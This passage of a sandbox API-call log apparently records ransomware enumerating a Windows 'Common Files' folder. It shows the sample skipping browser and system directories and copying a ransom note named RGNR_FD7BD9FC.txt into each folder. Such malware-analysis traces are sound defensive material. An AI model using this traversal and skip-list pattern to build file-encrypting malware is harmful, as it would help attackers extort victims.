ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0056.933] lstrcmpiW (lpString1="ipscht.xml", lpString2=".") returned 1 [0056.933] lstrcmpiW (lpString1="ipscht.xml", lpString2="..") returned 1 [0056.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0056.933] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".") returned 1 [0056.933] lstrcmpiW (lpString1="ipscsy.xml", lpString2="..") returned 1 [0056.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0056.933] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".") returned 1 [0056.933] lstrcmpiW (lpString1="ipsdan.xml", lpString2="..") returned 1 [0056.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0056.933] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".") returned 1 [0056.933] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsen.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsen.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsesp.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsfin.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsfra.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipshrv.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsita.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsita.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipskor.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipskor.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsnld.xml", lpString2="..") returned 1 [0056.934] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0056.934] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".") returned 1 [0056.934] lstrcmpiW (lpString1="ipsnor.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipsplk.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipsptb.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipsptg.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipsrom.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipsrus.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipssrb.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipssrl.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="ipssve.xml", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="ipssve.xml", lpString2="..") returned 1 [0056.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2=".") returned 1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="..") returned 1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Windows") returned -1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Windows.old") returned -1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Tor browser") returned -1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Internet Explorer") returned 1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Google") returned 1 [0056.935] lstrcmpiW (lpString1="it-IT", lpString2="Opera") returned -1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="Opera Software") returned -1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="Mozilla") returned -1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="Mozilla Firefox") returned -1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="$Recycle.Bin") returned 1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="ProgramData") returned -1 [0056.936] lstrcmpiW (lpString1="it-IT", lpString2="All Users") returned 1 [0056.936] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.936] lstrcpyW (in: lpString1=0x1eb62e, lpString2="it-IT" | out: lpString1="it-IT") returned="it-IT" [0056.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\" [0056.936] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\" [0056.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RGNR_FD7BD9FC.txt" [0056.936] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.938] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*" [0056.938] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.938] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.938] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742e7900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.938] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.938] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742e7900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.938] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.938] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742e7900, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.939] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.939] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.939] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.939] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742e7900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742e7900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.939] FindNextFileW (in: hFindFile=0x5a1368, 